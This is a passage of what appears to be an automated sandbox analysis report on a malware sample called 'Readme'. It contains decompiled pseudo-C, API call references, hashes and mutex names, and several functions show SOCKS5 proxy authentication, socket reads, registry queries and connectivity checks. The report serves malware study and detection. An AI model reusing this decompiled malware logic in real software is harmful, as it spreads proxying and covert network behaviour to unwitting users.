							_v24 = _t43;
							_t79 = _t80 - 4;
							 *((intOrPtr*)(_t73 + 0xc)) = _a8;
							 *((intOrPtr*)(_t73 + 0x10)) = _a12;
							_t47 = E0040B8D0(_t73,  &_v24);
							if(_t47 != 7) {
								L4:
								return _t47;
							}
							L11:
							_t48 =  *0x418284;
							_t64 = _v24;
							if(_t48 == 0) {
								E0040B0E0(_t48);
								_t48 =  *0x418284;
							}
							if( *((intOrPtr*)(_t48 + 0x30)) < 0) {
								E0040B3B0(_t64, _t76);
								_t48 =  *0x418284;
							}
							if( *((intOrPtr*)(_t48 + 0x30)) != 0) {
								_v40 = _t64;
								 *_t79 =  *((intOrPtr*)(_t48 + 0x2c));
								if(TlsSetValue(??, ??) == 0) {
									GetLastError();
								}
							} else {
								 *((intOrPtr*)(_t48 + 0x28)) = _t64;
							}
							_t48 = _v24;
							_t79 =  *((intOrPtr*)(_v24 + 0x28));
							goto __ecx;
						}
						L3:
						_t54 =  *(_t39 + 0x28);
						_v20 = _t54;
						_v24 = _t54;
						 *((intOrPtr*)(_t73 + 0xc)) = _a8;
						 *((intOrPtr*)(_t73 + 0x10)) = _a12;
						_t47 = E0040B8D0(_t73,  &_v24);
						if(_t47 == 7) {
							goto L11;
						}
						goto L4;
					}
					L7:
					E0040B3B0(_t59, _t76);
					_t39 =  *0x418284;
					if( *(_t39 + 0x30) == 0) {
						goto L3;
					}
					goto L9;
				}
				_t76 =  *(_t39 + 0x30);
				if( *(_t39 + 0x30) < 0) {
					goto L7;
				}
				goto L2;
			}

0x0040b9c0
0x0040b9c6
0x0040b9c9
0x0040b9cc
0x0040b9cf
0x0040b9d2
0x0040b9d9
0x0040ba20
0x0040ba25
0x0040ba2a
0x0040ba2f
0x0040b9e2
0x0040b9e7
0x0040ba60
0x0040ba63
0x0040ba69
0x0040ba6c
0x0040ba6e
0x0040ba74
0x0040ba79
0x0040ba7c
0x0040ba82
0x0040ba87
0x0040ba8a
0x0040ba90
0x0040ba93
0x0040ba99
0x0040ba9e
0x0040baa6
0x0040ba11
0x0040ba1d
0x0040ba1d
0x0040bab0
0x0040bab0
0x0040bab5
0x0040baba
0x0040bafd
0x0040bb02
0x0040bb02
0x0040bac1
0x0040bb09
0x0040bb0e
0x0040bb0e
0x0040bac8
0x0040bae1
0x0040bae5
0x0040baf3
0x0040baf5
0x0040baf5
0x0040baca
0x0040baca
0x0040baca
0x0040bacd
0x0040bad9
0x0040badc
0x0040badc
0x0040b9e9
0x0040b9e9
0x0040b9ef
0x0040b9f2
0x0040b9f8
0x0040b9fe
0x0040ba03
0x0040ba0b
0x00000000
0x00000000
0x00000000
0x0040ba0b
0x0040ba40
0x0040ba40
0x0040ba45
0x0040ba4f
0x00000000
0x00000000
0x00000000
0x0040ba51
0x0040b9db
0x0040b9e0
0x00000000
0x00000000
0x00000000

APIs

GetLastError.KERNEL32 ref: 0040BA63
TlsGetValue.KERNEL32 ref: 0040BA6E
SetLastError.KERNEL32 ref: 0040BA7C
TlsSetValue.KERNEL32 ref: 0040BAE8
GetLastError.KERNEL32 ref: 0040BAF5

Memory Dump Source

Source File: 00000000.00000002.303767032.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303758660.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303782487.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303788318.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303795487.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303800297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303812332.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Readme.jbxd

Similarity

API ID: ErrorLast$Value
String ID:
API String ID: 1883355122-0
Opcode ID: 76128aff822269898b8914e3844feebccba58d7589f724bc458a13517587ad4f
Instruction ID: 23407aeb104a5e4d22db15432d45e4df2a3b4d44022ab58e5814b8ef13b66587
Opcode Fuzzy Hash: 76128aff822269898b8914e3844feebccba58d7589f724bc458a13517587ad4f
Instruction Fuzzy Hash: A341F8B4B006198FCB50DF69D58099ABBF4FF08310B1585BAD919AB351E734AD00CFDA

Uniqueness

Uniqueness Score: -1.00%

Function 00402E0D Relevance: 6.3, APIs: 5, Instructions: 65stringsleepCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32 ref: 00402E21
lstrcat.KERNEL32 ref: 00402E3B

Part of subcall function 00404EAE: GetTickCount.KERNEL32 ref: 00404EB8
Part of subcall function 00404EAE: srand.MSVCRT ref: 00404EC0
Part of subcall function 00404EAE: rand.MSVCRT ref: 00404EC5

lstrcat.KERNEL32 ref: 00402E63
lstrcat.KERNEL32 ref: 00402E85
Sleep.KERNEL32 ref: 00402EC5
lstrcat.KERNEL32 ref: 00402EAA

Part of subcall function 00404F0A: GetModuleHandleA.KERNEL32 ref: 00404F27
Part of subcall function 00404F0A: LoadLibraryA.KERNEL32 ref: 00404F41
Part of subcall function 00404F0A: InternetGetConnectedState.WININET ref: 00404F6B

Memory Dump Source

Source File: 00000000.00000002.303767032.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303758660.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303782487.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303788318.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303795487.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303800297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303812332.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Readme.jbxd

Similarity

API ID: lstrcat$ConnectedCountHandleInternetLibraryLoadModuleSleepStateTickrandsrand
String ID:
API String ID: 1562643418-0
Opcode ID: a1067839a208299eab76daf55394ac3ec8733fb75f3d0707a547c42b76d0ecf2
Instruction ID: f63abfe6bd6a6f6ba5da5a44fc92895626e452bfcf87627a9a73b7892de61845
Opcode Fuzzy Hash: a1067839a208299eab76daf55394ac3ec8733fb75f3d0707a547c42b76d0ecf2
Instruction Fuzzy Hash: 0021ECB59143048BCB10EF64D9816DEBBF0EF84314F40897FE584A3281EB389698CF96

Uniqueness

Uniqueness Score: -1.00%

Function 10001BBE Relevance: 6.1, APIs: 4, Instructions: 64
COMMON

Download Yara Rule

C-Code - Quality: 19%

			E10001BBE(intOrPtr __ebx, intOrPtr __edi, intOrPtr __esi, intOrPtr _a4, short* _a8) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				signed int _v17;
				void* _v36;
				short* _v40;
				void* _t27;
				signed int _t28;
				void* _t33;
				void* _t38;
				signed int _t42;
				void* _t43;
				intOrPtr _t46;
				short* _t49;
				intOrPtr* _t51;

				_v16 = __ebx;
				_v12 = __esi;
				_v8 = __edi;
				_t46 = _a4;
				_t49 = _a8;
				_v17 = 0xff;
				_v36 = 2;
				_v40 = _t49;
				 *_t51 = _t46;
				_t28 = E1000128D(_t27);
				_t43 = 0;
				if(_t28 == 0) {
					L9:
					return _t43;
				}
				_t42 =  *(_t49 + 1) & 0x000000ff;
				_t43 = 0;
				if(((_t28 & 0xffffff00 |  *_t49 != 0x00000005 | 0 | _t42 == 0x00000000) & 0x00000001) != 0) {
					goto L9;
				}
				_v36 = _t42;
				_v40 = _t49;
				 *_t51 = _t46;
				_t33 = E1000128D(_t42);
				_t43 = 0;
				if(_t33 == 0) {
					goto L9;
				}
				while(1) {
					_t42 = _t42 - 1;
					if( *((char*)(_t49 + _t42)) == 2) {
						break;
					}
					if(_t42 > 0) {
						continue;
					}
					L7:
					 *_t49 = _v17 << 0x00000008 | 0x00000005;
					_v36 = 2;
					_v40 = _t49;
					 *_t51 = _t46;
					_t38 = E10001236(_v17 << 0x00000008 | 0x00000005);
					_t43 = 0;
					if(_t38 != 0) {
						_v40 = _t49;
						 *_t51 = _t46;
						_t43 = E10001A5B(_t42, _t46, _t49);
					}
					goto L9;
				}
				_v17 = 2;
				goto L7;
			}

0x10001bc4
0x10001bc7
0x10001bca
0x10001bcd
0x10001bd0
0x10001bd3
0x10001bd7
0x10001bdf
0x10001be3
0x10001be6
0x10001beb
0x10001bf2
0x10001c7d
0x10001c8b
0x10001c8b
0x10001bf8
0x10001c09
0x10001c10
0x00000000
0x00000000
0x10001c15
0x10001c19
0x10001c1d
0x10001c20
0x10001c25
0x10001c2c
0x00000000
0x00000000
0x10001c36
0x10001c36
0x10001c3f
0x00000000
0x00000000
0x10001c43
0x00000000
0x00000000
0x10001c45
0x10001c4f
0x10001c52
0x10001c5a
0x10001c5e
0x10001c61
0x10001c66
0x10001c6d
0x10001c6f
0x10001c73
0x10001c7b
0x10001c7b
0x00000000
0x10001c6d
0x10001c30
0x00000000

APIs

sread.SHERVANS ref: 10001BE6
sread.SHERVANS ref: 10001C20
swrite.SHERVANS ref: 10001C61
Socks5Auth.SHERVANS ref: 10001C76

Memory Dump Source

Source File: 00000000.00000002.304069235.0000000010001000.00000040.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.304063881.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304076424.0000000010005000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304082187.0000000010008000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304097063.000000001000A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304103368.000000001000B000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304113880.000000001000C000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_Readme.jbxd

Similarity

API ID: sread$AuthSocks5swrite
String ID:
API String ID: 805060314-0
Opcode ID: 4e1afb2cb86adeb6528c9470966f2de77a63b8daad39af29b91a50e78bb70aaa
Instruction ID: 0b9e80be15c953b71f1d55b714f5562b534450c719e0e795439118d94a9aa7db
Opcode Fuzzy Hash: 4e1afb2cb86adeb6528c9470966f2de77a63b8daad39af29b91a50e78bb70aaa
Instruction Fuzzy Hash: BA219D70948754ABF710CF6881803AEFBE9EF84280F15C44AE8D897285D374DA42CB42

Uniqueness

Uniqueness Score: -1.00%

Function 00404812 Relevance: 6.1, APIs: 4, Instructions: 55registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,0040428B), ref: 0040484C
RegOpenKeyExA.ADVAPI32 ref: 0040487A
RegQueryValueExA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004048B5
RegCloseKey.ADVAPI32 ref: 004048C5

Memory Dump Source

Source File: 00000000.00000002.303767032.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303758660.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303782487.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303788318.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303795487.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303800297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303812332.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Readme.jbxd

Similarity

API ID: Open$CloseQueryValue
String ID:
API String ID: 3546245721-0
Opcode ID: 29f9e6147c9e0dbab374f9f7d1eee4296a4e52f03c6ec6fd140c1b1f9b0e3caf
Instruction ID: 49bf87151660670d78cfdeefb83c057e4f3b6f757f6147e457b2a6993822bbc7
Opcode Fuzzy Hash: 29f9e6147c9e0dbab374f9f7d1eee4296a4e52f03c6ec6fd140c1b1f9b0e3caf
Instruction Fuzzy Hash: 0D21C8F49043099FDB00EF69C18575EBBF4BB48348F40892EE998A7341E378DA488B52

Uniqueness

Uniqueness Score: -1.00%

Function 004067E0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30
networkCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E004067E0(void* __ebx, signed int _a4) {
				void* _v8;
				char _v1036;
				signed int _v1040;
				intOrPtr _v1044;
				signed int _v1048;
				signed int _t13;
				signed int _t20;
				signed int _t22;
				void* _t23;
				signed int* _t24;
				intOrPtr* _t25;

				_t24 = _t23 - 0x414;
				_t20 =  &_v1036;
				_v1044 = 0x400;
				_v1048 = 0;
				 *_t24 = _t20;
				memset(__ebx, ??, ??);
				_v1040 = 0;
				_v1044 = 0x400;
				_v1048 = _t20;
				_t13 = _a4;
				 *_t24 = _t13;
				L004086B8();
				_t25 = _t24 - 0x10;
				_t22 = 0;
				if(_t13 + 1 > 1) {
					 *_t25 =  &_v1036;
					_t22 = (E00406856( &_v1036, _t20) & 0xffffff00 | _t17 - 0x00000190 < 0x00000000) & 0x000000ff;
				}
				return _t22;
			}

0x004067e4
0x004067ea
0x004067f0
0x004067f8
0x00406800
0x00406803
0x00406808
0x00406810
0x00406818
0x0040681c
0x0040681f
0x00406822
0x00406827
0x0040682b
0x00406833
0x0040683b
0x0040684b
0x0040684b
0x00406854

APIs

memset.MSVCRT ref: 00406803
recv.WS2_32 ref: 00406822

Part of subcall function 00406856: lstrlen.KERNEL32(?,?,?), ref: 0040686A
Part of subcall function 00406856: sscanf.MSVCRT ref: 0040688E

Strings

fc@, xrefs: 00406850

Memory Dump Source

Source File: 00000000.00000002.303767032.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303758660.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303782487.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303788318.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303795487.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303800297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303812332.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Readme.jbxd

Similarity

API ID: lstrlenmemsetrecvsscanf
String ID: fc@
API String ID: 2556557004-2333546356
Opcode ID: c1133dbf17f94d7c7e6c6e6ca5dd0c921707f1a6a51cd10e35ba8147b46d26d8
Instruction ID: 7b1cb7ca667fa739690624300255a696f657d489af5130fe59f4ce6b6cdf8f5c
Opcode Fuzzy Hash: c1133dbf17f94d7c7e6c6e6ca5dd0c921707f1a6a51cd10e35ba8147b46d26d8
Instruction Fuzzy Hash: CBF01DB05043049EDB00FF25C58535EBBE4AB44348F51886DE6C8A7382D638D5898B56

Uniqueness

Uniqueness Score: -1.00%

Function 0040402C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 20synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexA.KERNEL32 ref: 00404059
GetLastError.KERNEL32 ref: 00404061

Strings

k_fbpxf5nna, xrefs: 00404033

Memory Dump Source

Source File: 00000000.00000002.303767032.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303758660.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303782487.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303788318.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303795487.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303800297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303812332.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Readme.jbxd

Similarity

API ID: CreateErrorLastMutex
String ID: k_fbpxf5nna
API String ID: 1925916568-3032876681
Opcode ID: 9a88b48d1ad107bc964547b3910128f81a6eaee6bb5813ff57ad5a3f8fd565ef
Instruction ID: b44495afc4b5e1c155c3d7f26a4bf6281c5b98a28f183e2cb1f81a9367dbc24a
Opcode Fuzzy Hash: 9a88b48d1ad107bc964547b3910128f81a6eaee6bb5813ff57ad5a3f8fd565ef
Instruction Fuzzy Hash: 17E04FB0418308DAC700BF71C1C664DBEE4AB80348F40893EE888622C2C778958C8727

Uniqueness

Uniqueness Score: -1.00%

Function 00403E2E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 20synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexA.KERNEL32 ref: 00403E5B
GetLastError.KERNEL32 ref: 00403E63

Strings

IHYanFuibyan, xrefs: 00403E35

Memory Dump Source

Source File: 00000000.00000002.303767032.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303758660.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303782487.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303788318.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303795487.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303800297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303812332.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Readme.jbxd

Similarity

API ID: CreateErrorLastMutex
String ID: IHYanFuibyan
API String ID: 1925916568-2233043627
Opcode ID: 4d0d80ee3a61e30fea3e63c13358dfb84c2fbac065cd1307cf50ef5234048b85
Instruction ID: b226eb3715ba9fc3d7238d88576273fb4163caaa6f42e8cd02b01324a8811274
Opcode Fuzzy Hash: 4d0d80ee3a61e30fea3e63c13358dfb84c2fbac065cd1307cf50ef5234048b85
Instruction Fuzzy Hash: 30E04FB0408308DACB00BF71C1C564DBEE4AB40388F40853EE888622C2C778954C8727

Uniqueness

Uniqueness Score: -1.00%

Function 0040B460 Relevance: 5.1, APIs: 4, Instructions: 65
COMMON

Download Yara Rule

C-Code - Quality: 28%

			E0040B460(intOrPtr __ebx, intOrPtr __edi, intOrPtr __esi, int _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				int _v24;
				void* _t20;
				long _t24;
				void* _t25;
				int _t28;
				intOrPtr _t38;
				int _t40;
				intOrPtr* _t49;
				long* _t50;

				_t43 = __esi;
				_t32 = __ebx;
				_v8 = __edi;
				_t40 = _a4;
				_v16 = __ebx;
				_v12 = __esi;
				_t38 =  *0x418284;
				if(_t38 == 0) {
					E0040B0E0(_t20);
					_t38 =  *0x418284;
					if( *((intOrPtr*)(_t38 + 0x30)) >= 0) {
						goto L2;
					} else {
						goto L7;
					}
				} else {
					if( *((intOrPtr*)(_t38 + 0x30)) < 0) {
						L7:
						E0040B3B0(_t32, _t43);
						_t38 =  *0x418284;
						if( *((intOrPtr*)(_t38 + 0x30)) == 0) {
							goto L3;
						} else {
							goto L9;
						}
					} else {
						L2:
						if( *((intOrPtr*)(_t38 + 0x30)) != 0) {
							L9:
							_t24 = GetLastError();
							 *_t49 =  *((intOrPtr*)(_t38 + 0x2c));
							_t25 = TlsGetValue(??);
							_t50 = _t49 - 4;
							 *_t50 = _t24;
							SetLastError(??);
							 *_t40 = _t25;
							_v24 = _t40;
							 *((intOrPtr*)(_t50 - 4)) =  *((intOrPtr*)( *0x418284 + 0x2c));
							_t28 = TlsSetValue(??, ??);
							if(_t28 == 0) {
								goto __ecx;
							}
						} else {
							L3:
							_t28 =  *(_t38 + 0x28);
							 *_t40 = _t28;
							 *(_t38 + 0x28) = _t40;
						}
					}
				}
				return _t28;
			}

0x0040b460
0x0040b460
0x0040b466
0x0040b469
0x0040b46c
0x0040b46f
0x0040b472
0x0040b47a
0x0040b4a0
0x0040b4a5
0x0040b4b0
0x00000000
0x00000000
0x00000000
0x00000000
0x0040b47c
0x0040b481
0x0040b4c0
0x0040b4c0
0x0040b4c5
0x0040b4d0
0x00000000
0x00000000
0x00000000
0x00000000
0x0040b483
0x0040b483
0x0040b488
0x0040b4e0
0x0040b4e3
0x0040b4e9
0x0040b4ee
0x0040b4f4
0x0040b4f9
0x0040b4fc
0x0040b502
0x0040b50f
0x0040b513
0x0040b516
0x0040b521
0x0040b539
0x0040b539
0x0040b48a
0x0040b48a
0x0040b48a
0x0040b48d
0x0040b48f
0x0040b48f
0x0040b488
0x0040b481
0x0040b49e

APIs

GetLastError.KERNEL32(?,?,?,?,?,00405F1A), ref: 0040B4E3
TlsGetValue.KERNEL32(?,?,?,?,?,00405F1A), ref: 0040B4EE
SetLastError.KERNEL32(?,?,?,?,?,?,00405F1A), ref: 0040B4FC
TlsSetValue.KERNEL32(?,?,?,?,?,?,?,00405F1A), ref: 0040B516

Memory Dump Source

Source File: 00000000.00000002.303767032.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303758660.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303782487.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303788318.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303795487.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303800297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303812332.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Readme.jbxd

Similarity

API ID: ErrorLastValue
String ID:
API String ID: 1151882462-0
Opcode ID: 16660377808b608b832b0cbaea9d7365e9406ce6128743baf1b4238b0422be3c
Instruction ID: 439973a8ce157f22f3a963889ba98c70b340b09c43d7307190215458f466d12f
Opcode Fuzzy Hash: 16660377808b608b832b0cbaea9d7365e9406ce6128743baf1b4238b0422be3c
Instruction Fuzzy Hash: 8B210375A0060A9FCB40DF69DA8469ABBF4FF48310F1081AADC44A7352E734BE51CBC9

Uniqueness

Uniqueness Score: -1.00%

Function 00402B1D Relevance: 5.1, APIs: 4, Instructions: 57stringsleepCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32 ref: 00402B31

Part of subcall function 00404EAE: GetTickCount.KERNEL32 ref: 00404EB8
Part of subcall function 00404EAE: srand.MSVCRT ref: 00404EC0
Part of subcall function 00404EAE: rand.MSVCRT ref: 00404EC5

lstrcat.KERNEL32 ref: 00402B59
lstrcat.KERNEL32 ref: 00402B81
Sleep.KERNEL32 ref: 00402EC5
lstrcat.KERNEL32 ref: 00402BA3

Part of subcall function 00404F0A: GetModuleHandleA.KERNEL32 ref: 00404F27
Part of subcall function 00404F0A: LoadLibraryA.KERNEL32 ref: 00404F41
Part of subcall function 00404F0A: InternetGetConnectedState.WININET ref: 00404F6B

Memory Dump Source

Source File: 00000000.00000002.303767032.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303758660.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303782487.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303788318.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303795487.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303800297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303812332.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Readme.jbxd

Similarity

API ID: lstrcat$ConnectedCountHandleInternetLibraryLoadModuleSleepStateTickrandsrand
String ID:
API String ID: 1562643418-0
Opcode ID: 2c7b681fe86cc2fd1af3aa736b3d656723dcda11dd27d62708b8b77b6b1c1b4c
Instruction ID: 03b09b6922a9c514b299c22ddce90b04ecaf30bc7003352be57799a9fe594460
Opcode Fuzzy Hash: 2c7b681fe86cc2fd1af3aa736b3d656723dcda11dd27d62708b8b77b6b1c1b4c
Instruction Fuzzy Hash: C121FCB59143148BCB10EF64D9816DEBBF4BB84314F40857FE584A3281EB389698CF96

Uniqueness

Uniqueness Score: -1.00%

Function 00402936 Relevance: 5.1, APIs: 4, Instructions: 56stringsleepCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32 ref: 0040294A

Part of subcall function 00404EAE: GetTickCount.KERNEL32 ref: 00404EB8
Part of subcall function 00404EAE: srand.MSVCRT ref: 00404EC0
Part of subcall function 00404EAE: rand.MSVCRT ref: 00404EC5

lstrcat.KERNEL32 ref: 00402972
lstrcat.KERNEL32 ref: 0040299A
Sleep.KERNEL32 ref: 00402EC5
lstrcat.KERNEL32 ref: 004029BC

Part of subcall function 00404F0A: GetModuleHandleA.KERNEL32 ref: 00404F27
Part of subcall function 00404F0A: LoadLibraryA.KERNEL32 ref: 00404F41
Part of subcall function 00404F0A: InternetGetConnectedState.WININET ref: 00404F6B

Memory Dump Source

Source File: 00000000.00000002.303767032.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303758660.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303782487.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303788318.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303795487.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303800297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303812332.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Readme.jbxd

Similarity

API ID: lstrcat$ConnectedCountHandleInternetLibraryLoadModuleSleepStateTickrandsrand
String ID:
API String ID: 1562643418-0
Opcode ID: a53f60471630b529b5b3fa49e027026b6c5687552c409762689948fa5b30f580
Instruction ID: 058901da40b0e2efb01319e0cab41814326d79342e400853ca70bd999cd91e9a
Opcode Fuzzy Hash: a53f60471630b529b5b3fa49e027026b6c5687552c409762689948fa5b30f580
Instruction Fuzzy Hash: AE21EE759143148BC710EF64D98169EBBF4FB84314F00897FE5C5A3241EB389698CF96

Uniqueness

Uniqueness Score: -1.00%

Function 00402D1F Relevance: 5.1, APIs: 4, Instructions: 55stringsleepCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32 ref: 00402D33
lstrcat.KERNEL32 ref: 00402D4D

Part of subcall function 00404EAE: GetTickCount.KERNEL32 ref: 00404EB8
Part of subcall function 00404EAE: srand.MSVCRT ref: 00404EC0
Part of subcall function 00404EAE: rand.MSVCRT ref: 00404EC5

lstrcat.KERNEL32 ref: 00402D75
Sleep.KERNEL32 ref: 00402EC5
lstrcat.KERNEL32 ref: 00402D97

Part of subcall function 00404F0A: GetModuleHandleA.KERNEL32 ref: 00404F27
Part of subcall function 00404F0A: LoadLibraryA.KERNEL32 ref: 00404F41
Part of subcall function 00404F0A: InternetGetConnectedState.WININET ref: 00404F6B

Memory Dump Source

Source File: 00000000.00000002.303767032.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303758660.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303782487.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303788318.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303795487.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303800297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303812332.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Readme.jbxd

Similarity

API ID: lstrcat$ConnectedCountHandleInternetLibraryLoadModuleSleepStateTickrandsrand
String ID:
API String ID: 1562643418-0
Opcode ID: a5e0d163f18fc207e3c7efa7da69fe8f01bfacc653d33c2322edad23d5ce2f0b
Instruction ID: c94e486dd441945c80f89e6855cf6e362e59878be9d52d1e169f04df5a17e1bb
Opcode Fuzzy Hash: a5e0d163f18fc207e3c7efa7da69fe8f01bfacc653d33c2322edad23d5ce2f0b
Instruction Fuzzy Hash: 8521ECB69143148BCB10EF64D9816DEBBF4BB84314F40857FE589A3241EB349698CF96

Uniqueness

Uniqueness Score: -1.00%

Function 0040285D Relevance: 5.1, APIs: 4, Instructions: 54stringsleepCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32 ref: 00402871
lstrcat.KERNEL32 ref: 0040288B

